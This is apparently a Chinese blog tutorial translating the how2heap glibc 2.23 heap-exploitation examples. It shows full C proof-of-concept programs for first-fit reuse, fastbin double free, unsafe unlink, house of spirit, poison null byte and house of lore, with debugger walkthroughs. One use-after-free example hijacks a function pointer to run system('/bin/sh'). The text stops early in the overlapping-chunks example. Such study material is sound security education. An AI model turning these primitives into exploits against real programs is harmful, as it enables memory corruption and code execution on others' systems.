前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >how2heap学习(上)

how2heap学习(上)

作者头像
yichen
发布2020-12-11 11:48:40
9970
发布2020-12-11 11:48:40
举报
代码语言:javascript
复制
语雀文档地址
https://www.yuque.com/hxfqg9/bin/ape5up
涉及的代码文件在 github 也有
https://github.com/yichen115/how2heap_zh

how2heap 是 shellphish 团队在 github 上面分享的用来学习各种堆利用手法的项目

我主要是把 how2heap 代码里面的文字说明用谷歌结合调试时的理解给翻译了一下

first_fit

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    fprintf(stderr, "尽管这个例子没有演示攻击效果,但是它演示了 glibc 的分配机制\n");
    fprintf(stderr, "glibc 使用首次适应算法选择空闲的堆块\n");
    fprintf(stderr, "如果有一个空闲堆块且足够大,那么 malloc 将选择它\n");
    fprintf(stderr, "如果存在 use-after-free 的情况那可以利用这一特性\n");

    fprintf(stderr, "首先申请两个比较大的 chunk\n");
    char* a = malloc(0x512);
    char* b = malloc(0x256);
    char* c;

    fprintf(stderr, "第一个 a = malloc(0x512) 在: %p\n", a);
    fprintf(stderr, "第二个 a = malloc(0x256) 在: %p\n", b);
    fprintf(stderr, "我们可以继续分配\n");
    fprintf(stderr, "现在我们把 \"AAAAAAAA\" 这个字符串写到 a 那里 \n");
    strcpy(a, "AAAAAAAA");
    fprintf(stderr, "第一次申请的 %p 指向 %s\n", a, a);

    fprintf(stderr, "接下来 free 掉第一个...\n");
    free(a);

    fprintf(stderr, "接下来只要我们申请一块小于 0x512 的 chunk,那就会分配到原本 a 那里: %p\n", a);

    c = malloc(0x500);
    fprintf(stderr, "第三次 c = malloc(0x500) 在: %p\n", c);
    fprintf(stderr, "我们这次往里写一串 \"CCCCCCCC\" 到刚申请的 c 中\n");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "第三次申请的 c %p 指向 %s\n", c, c);
    fprintf(stderr, "第一次申请的 a %p 指向 %s\n", a, a);
    fprintf(stderr, "可以看到,虽然我们刚刚看的是 a 的,但它的内容却是 \"CCCCCCCC\"\n");
}

编译一下:gcc -g first_fit.c

运行一下看看

程序展示了一个 glibc 堆分配策略,first-fit。在分配内存时,malloc 先到 unsorted bin(或者 fastbins)中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去寻找适合的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配

下断点,对着源码调试着理解一下

先是 malloc 了两次,然后给第一个 a 赋了 "AAAAAAAA"

然后 free 了 a,这时候 a 被放到了 unsorted bin 中

然后再去申请一个小于 free chunk 的大小的内存空间根据 first fit 就会分配到这里

可以发现,当释放了一块内存之后再去申请一个大小略小的空间,那么 glibc 倾向于将先前释放的空间重新分配

加上参数重新编译一个版本:gcc -fsanitize=address -g first_fit.c

会提示有个 use-after-free 漏洞

UAF 漏洞简单来说就是第一次申请的内存释放之后,没有进行内存回收,下次申请的时候还能申请到这一块内存,导致我们可以用以前的内存指针来访问修改过的内存

来看一下一个简单的 UAF 的利用的例子,来自:

https://blog.csdn.net/qq_31481187/article/details/73612451

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
    func_ptr *p1=(func_ptr*)malloc(0x20);
    printf("申请了4个int大小的内存");
    printf("p1 的地址: %p\n",p1);
    p1[1]=echo;
    printf("把p1[1]赋值为echo函数,然后打印出\"hello world\"");
    p1[1]("hello world\n");
    printf("free 掉 p1");
    free(p1); 
    printf("因为并没有置为null,所以p1[1]仍然是echo函数,仍然可以输出打印了\"hello again\"");
    p1[1]("hello again\n");
    printf("接下来再去malloc一个p2,会把释放掉的p1给分配出来,可以看到他俩是同一地址的");
    func_ptr *p2=(func_ptr*)malloc(0x20);
    printf("p2 的地址: %p\n",p2);
    printf("p1 的地址: %p\n",p1);
    printf("然后把p2[1]给改成evil_fuc也就是system函数");
    p2[1]=evil_fuc;
    printf("传参调用");
    p1[1]("/bin/sh");
    return 0;
}

看一下,首先申请了一个 chunk,把那个 p1[1] 改成了 echo 函数的地址

free 掉之后再申请一个大小相同的 p2,这时候会把之前 p1 的内存区域分配给 p2,也就是说可以用 p2 来控制 p1 的内容了

fastbin_dup

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    fprintf(stderr, "这个例子演示了 fastbin 的 double free\n");

    fprintf(stderr, "首先申请了 3 个 chunk\n");
    char* a = malloc(8);
    strcpy(a, "AAAAAAAA");
    char* b = malloc(8);
    strcpy(b, "BBBBBBBB");
    char* c = malloc(8);
    strcpy(c, "CCCCCCCC");

    fprintf(stderr, "第一个 malloc(8): %p\n", a);
    fprintf(stderr, "第二个 malloc(8): %p\n", b);
    fprintf(stderr, "第三个 malloc(8): %p\n", c);

    fprintf(stderr, "free 掉第一个\n");
    free(a);

    fprintf(stderr, "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n", a, a);
    // free(a);
    fprintf(stderr, "我们先 free %p.\n", b);
    free(b);

    fprintf(stderr, "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n", a);
    free(a);
    fprintf(stderr, "现在空闲链表是这样的 [ %p, %p, %p ]. 如果我们 malloc 三次, 我们会得到两次 %p \n", a, b, a, a);
    
    char* d = malloc(8);
    char* e = malloc(8);
    char* f = malloc(8);
    strcpy(d, "DDDDDDDD");
    strcpy(e, "EEEEEEEE");
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "第一次 malloc(8): %p\n", d);
    fprintf(stderr, "第二次 malloc(8): %p\n", e);
    fprintf(stderr, "第三次 malloc(8): %p\n", f);
}

gcc -g fastbin_dup.c

程序展示了 fastbins 的 double-free 攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过 fastbin->fd 来遍历。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过了检查顺利执行,然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针(之前 gef 调的因为地址一样就没换图片)

首先 malloc 3 个 chunk

第一个 free 之后,chunk a 被添加到 fastbins 中

第二个 free 之后,chunk b 被添加到 fastbins 中,可以看到在 b 的 fd 指针那里已经改成了 chunk a 的地址了

此时,由于 chunk a 处于 bin 中第 2 块的位置,不会被 double-free 的检查机制检查出来,所以第三个 free 之后,chunk a 再次被添加到 fastbins 中:

chunk a 和 chunk b 形成了一个环

再 malloc 两个的情况(上面那种情况先 q 再 c)

后来又 malloc 了一个可以看到 0x4444444444444444 被改成了 0x4646464646464646

是因为后来申请的 f 跟 d 指向同一块内存区域

所以,对于 fastbins,可以通过 double-free 泄露一个堆块指针,可以用 -fsanitize=address 参数重新编译看看

在 libc-2.26 中,即使两次 free,也没有触发 double-free 的异常检测,这是因为 tcache 的机制有关,等后面介绍

fastbin_dup_into_stack

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");
    unsigned long long stack_var;

    fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "先申请3 个 chunk\n");
    char* a = malloc(8);
    strcpy(a, "AAAAAAAA");
    char* b = malloc(8);
    strcpy(b, "BBBBBBBB");
    char* c = malloc(8);
    strcpy(c, "CCCCCCCC");
    
    fprintf(stderr, "chunk a: %p\n", a);
    fprintf(stderr, "chunk b: %p\n", b);
    fprintf(stderr, "chunk c: %p\n", c);

    fprintf(stderr, "free 掉 chunk a\n");
    free(a);

    fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);
    // free(a);
    fprintf(stderr, "先对 b %p 进行 free\n", b);
    free(b);

    fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
    free(a);

    fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "第一次 malloc(8): %p\n", d);
    char* e = malloc(8);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "第二次 malloc(8): %p\n", e);
    fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
    fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
    stack_var = 0x20;

    fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    
    char* f = malloc(8);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
    char* g = malloc(8);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}

gcc -g fastbin_dup_into_stack.c

这个程序展示了怎样通过修改指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样

三次 malloc 之后

三次 free 之后,可以看到由于 double free 造成的循环的指针

这时候我们再去 malloc 两次,还剩一个指向 chunk a 的 free chunk,而前面我们也申请到了指向它的 chunk d,可以通过它编辑 chunk a 的 fd 指针,填充一个有意义的地址:栈地址减 0x8(因为伪造的 chunk 要有个 size,size 在 &stack_var - 0x8 的位置上)

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

这样 malloc 一次之后再次申请的时候会申请到 fd 指针指向的 0x00007fffffffdcb0

fastbin_dup_consolidate

ubuntu16.04 glibc 2.23

gcc -g fastbin_dup_consolidate.c

代码语言:javascript
复制
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int main() {
  void* p1 = malloc(0x40);
  strcpy(p1, "AAAAAAAA");
  void* p2 = malloc(0x40);
  strcpy(p2, "BBBBBBBB");
  fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "先 free p1\n");
  free(p1);
  void* p3 = malloc(0x400);
  fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
  free(p1);
  fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
  void* p4 = malloc(0x40);
  strcpy(p4, "CCCCCCC");
  void* p5 = malloc(0x40);
  strcpy(p5, "DDDDDDDD");
  fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
}

这个例子展示了在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查

一开始分配了两次之后:

释放掉 p1 之后,放到了 fastbins 中

此时分配了一个 large chunk 即:void *p3 = malloc(0x400);

fastbins 中的 chunk 已经没有了,在 small bins 出现了,同时 chunk 2 的 size 和 prev_size 都被修改了

在分配 large chunk 的时候,首先会根据 chunk 的大小来获取对应的 large bin 的 index,然后判断 fast bins 中有没有 chunk,如果有就调用 malloc_consolidate() 合并 fast bins 中的 chunk,然后放到 unsorted bin 中。unsorted bin 中的 chunk 会按照大小放到 small 或 large bins 中

p1 已经不再 fastbin 的顶部,所以可以再次 free

p1 既在 small bins 又在 fast bins

再一次 malloc 之后会从 fast bins 中分配

void *p4 = malloc(0x10);

strcpy(p4, "CCCCCCC");

再一次就是从 small bins 中分配

void *p5 = malloc(0x10);

strcpy(p5, "DDDDDDDD");

p4 和 p5 被分配在了同一个地方

unsafe_unlink

ubuntu16.04 glibc 2.23

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main()
{
    fprintf(stderr, "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n");
    fprintf(stderr, "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n");

    int malloc_size = 0x80; //要足够大来避免进入 fastbin
    int header_size = 2;

    fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);

    fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
    fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
    fprintf(stderr, "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk 的 fd: %p\n",(void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk 的 bk: %p\n\n",(void*) chunk0_ptr[3]);

    fprintf(stderr, "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    fprintf(stderr, "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n");
    chunk1_hdr[0] = malloc_size;
    fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
    fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
    chunk1_hdr[1] &= ~1;

    fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
    free(chunk1_ptr);

    fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n");
    fprintf(stderr, "之前的值是: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    fprintf(stderr, "新的值是: %s\n",victim_string);
}

ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)

先在 main 函数上设置一个断点,然后单步走一下,走到第 13 行(不包括)

我们来看一下,申请了两个堆之后的情况

上面说的那个检查 fd/bk 指针是通过 chunk 头部的相对地址来找的,我们可以用全局指针 chunk0_ptr 构造一个假的 chunk 来绕过

再单步走到第 40 行(这里是后来补的图,地址大了 0x1000)

在伪造 fd 跟 bk 这个地方,这两行代码做了个减法,使得从这个地方数起来正好可以数到我们伪造的哪一个 fake chunk

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

上面那个图没对齐,用文本来解释一下

代码语言:javascript
复制
gdb-peda$ x/4gx 0x0000000000601058
0x601058: 0x0000000000000000  0x00007ffff7dd2540
0x601068: 0x0000000000000000  0x0000000000602010

0x601058是我们伪造的那个堆块的fd指针,在这里可以看到它的bk指针指向的是0x602010

gdb-peda$ x/4gx 0x0000000000601060
0x601060: 0x00007ffff7dd2540  0x0000000000000000
0x601070: 0x0000000000602010  0x0000000000000000

0x601060是我们伪造的那个堆块的bk指针,在这里可以看到它的fd指针指向的是0x602010

我们的 fake chunk 的 fd 指向 0x601058 然后 0x601058 的 bk 指向 0x601070

fake chunk 的 bk 指向 0x601060 然后 0x601060 的 fd 指向 0x601070,可以保证前后都指向我们伪造的这个 chunk,完美!

另外我们利用 chunk0 的溢出来修改 chunk1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。

接下来释放掉 chunk1 因为 fake chunk 和 chunk1 是相邻的一个 free chunk,所以会将他两个合并,这就需要对 fake chunk 进行 unlink,进行如下操作

  • FD = P->fd
  • BK = P->bk
  • FD->bk = BK
  • BK->fd = FD

通过前面的赋值操作

  • P->fd = &P - 3 * size(int)
  • P->bk = &P - 2 * size(int)

也就是说:FD = &P - 3 * size(int),BK = &P - 2 * size(int)

FD->bk 按照偏移寻址,就是 FD+3*size(int) 也就等于 &P,FD->bk = P,同理 BK->fd = P

这样执行下来,最终实现的效果是 P = &P - 3 * size(int)

在这个图示中最终实现的效果是 ptr 中存的是 ptr-0x18,如果本来 ptr 是存的一个指针的,现在它指向了 ptr-0x18

那,如果编辑这里的内容就可以往 0x18 那里去写,实现了覆盖这个指针为任意值的效果

house_of_spirit

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");

    fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");
    malloc(1);

    fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

    fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");
    fake_chunks[1] = 0x40; // size

    fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
        // 这是fake_chunks[?]可以数一下
    fake_chunks[9] = 0x1234; // nextsize
    fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[10] = 0x4141414141414141LL;

    fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];

    fprintf(stderr, "free!\n");
    free(a);

    fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
    b = malloc(0x30);
    fprintf(stderr, "malloc(0x30): %p\n", b);
    b[0] = 0x4242424242424242LL;
    fprintf(stderr, "ok!\n");
    return 0;
}

通过构造 fake chunk,然后把它给释放掉,这样再次申请相同大小的 chunk 的时候就会匹配到这里

house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法

如果栈溢出的时候溢出的长度不能覆盖掉返回地址的但是却可以覆盖栈上面一个即将 free 的指针的话,我们可以把这个指针覆盖为栈上的某一个地址,并且把这个地址上伪造一个 chunk,free 之后再次 malloc 就可以申请到栈上面伪造的那一块,这时候就有可能改写返回地址了

通过上面那个程序直观的看一下

gcc -g house_of_spirit.c

首先在程序的第 14 行下个断点 b 14

运行到这里可以看到 fake_chunk 目前还没有被我们写入

我们直接让他写完,再来看一下,已经构造出 fake chunk 了

对 fake_chunk 进行 free 之后

可以看一下 fastbin 现在已经是有了我们构造的那个 fake_chunk 了

接下来再次 malloc 一个相同大小的 chunk 就会把这里申请过去

代码语言:javascript
复制
b = malloc(0x30);
b[0] = 0x4242424242424242LL;

构造 chunk 的时候要注意绕过一些检查:

后面那三个特殊的标志位前两个必须都为 0,写 size 位的时候直接 0xN0就可以了,然后大小要注意符合 fastbin 的大小,next chunk 的大小也要注意,必须大于 2*SIZE_SZ,小于 av->system_mem

64位下:16< next chunk 的 size < 128kb

poison_null_byte

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
    fprintf(stderr, "当存在 off by null 的时候可以使用该技术\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;
    void *barrier;

    fprintf(stderr, "申请 0x100 的 chunk a\n");
    a = (uint8_t*) malloc(0x100);
    fprintf(stderr, "a 在: %p\n", a);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "因为我们想要溢出 chunk a,所以需要知道他的实际大小: %#x\n", real_a_size);

    b = (uint8_t*) malloc(0x200);
    fprintf(stderr, "b: %p\n", b);
    c = (uint8_t*) malloc(0x100);
    fprintf(stderr, "c: %p\n", c);

    barrier =  malloc(0x100);
    fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
    *(size_t*)(b+0x1f0) = 0x200;

    free(b);
    
    fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
    fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);

    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);

    fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);

    fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
    fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);
    fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");

    b2 = malloc(0x80);
    fprintf(stderr, "b2 申请在: %p\n",b2);

    memset(b2,'B',0x80);
    fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);
    fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");

    free(b1);
    free(c);
    
    fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
    d = malloc(0x300);
    fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
    memset(d,'D',0x300);
    fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
}

首先申请了 4 个 chunk,分别是 a、b、c 和一个防止与 top chunk 合并的 chunk

接下来为了绕过 size 跟 next chunk 的 prev_size 的检查,我们在 chunk b 的末尾伪造一个 0x200 大小的 prev_size

然后把 b 给 free 掉,通过编辑 chunk a 来更改 b 的 size 最后一位为 0x00

这时候 c 那里的 prev_size 还是之前的,因为更改了 b 的 size,所以找的时候会找 b+0x200 的,而真正的在 0x210,也正是这样让我们绕过了 chunksize(P) = prev_size (next_chunk(P)) 的检测

接下来申请一个 0x100 大小的 chunk,因为 b 已经 free 了,所以会把新申请的这个安排到 b 那里(我们把新申请的叫 b1)之前 b 那一块被分割出来了,剩下了 0xf

接下来再去申请一块小于 0xf 的,这样就会继续分割 b 剩下的那一块(我们把这次申请的填充上 'B' 来区分)

接下来 free 掉 b1 跟 c,因为 c 的 prev_size 仍然是 0x210,按照这个去找的话就可以找到原本的 b,现在的 b1 的位置,那么他们俩会合并,但是中间还有个 b2 呐!!这里 how2heap 有一个注释

Typically b2 (the victim) will be a structure with valuable pointers that we want to control 通常b2(受害者)将是一个结构,其中包含我们要控制的有价值的指针

那么接下来的事情就是申请一块大的 chunk,然后去随便改写 b2 的内容了

house_of_lore

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr, "定义了两个数组");
  fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

  intptr_t *victim = malloc(100);
  fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
  intptr_t *victim_chunk = victim-2;//chunk 开始的位置

  fprintf(stderr, "在栈上伪造一块 fake chunk\n");
  fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  void *p5 = malloc(1000);
  fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);

  fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
  free((void*)victim);

  fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
  void *p2 = malloc(1200);

  fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
  victim[1] = (intptr_t)stack_buffer_1;

  fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
  fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
  void *p3 = malloc(100);

  fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

  fprintf(stderr, "\np4 在栈上 %p\n", p4);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p4+40), &sc, 8);
}

intptr_t *victim = malloc(100);

首先申请了一个在 fastbin 范围内的 victim chunk,然后再在栈上构造了一个假的 chunk

为了绕过检测,设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1

接下来先 malloc 一个防止 free 之后与 top chunk 合并,然后 free 掉 victim,这时候 victim 会被放到 fastbin 中

接下来再去 malloc 一个 large chunk,会触发 fastbin 的合并,然后放到 unsorted bin 中,这样我们的 victim chunk 就放到了 unsorted bin 中,然后最终被 unsorted bin 分配到 small bin 中

参考:

http://blog.topsec.com.cn/pwn的艺术浅谈(二):linux堆相关/

https://bbs.pediy.com/thread-257742.htm

再把 victim 的 bk 指针改为 stack_buffer_1

再次去 malloc 会 malloc 到 victim chunk,再一次 malloc 的话就 malloc 到了 0x00007fffffffdcc0

overlapping_chunks

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){

    intptr_t *p1,*p2,*p3,*p4;
    fprintf(stderr, "这是一个简单的堆块重叠问题,首先申请 3 个 chunk\n");

    p1 = malloc(0x100 - 8);
    p2 = malloc(0x100 - 8);
    p3 = malloc(0x80 - 8);
    fprintf(stderr, "这三个 chunk 分别申请到了:\np1:%p\np2:%p\np3:%p\n给他们分别填充\"1\"\"2\"\"3\"\n\n", p1, p2, p3);

    memset(p1, '1', 0x100 - 8);
    memset(p2, '2', 0x100 - 8);
    memset(p3, '3', 0x80 - 8);

    fprintf(stderr, "free 掉 p2\n");
    free(p2);
    fprintf(stderr, "p2 被放到 unsorted bin 中\n");

    fprintf(stderr, "现在假设有一个堆溢出漏洞,可以覆盖 p2\n");
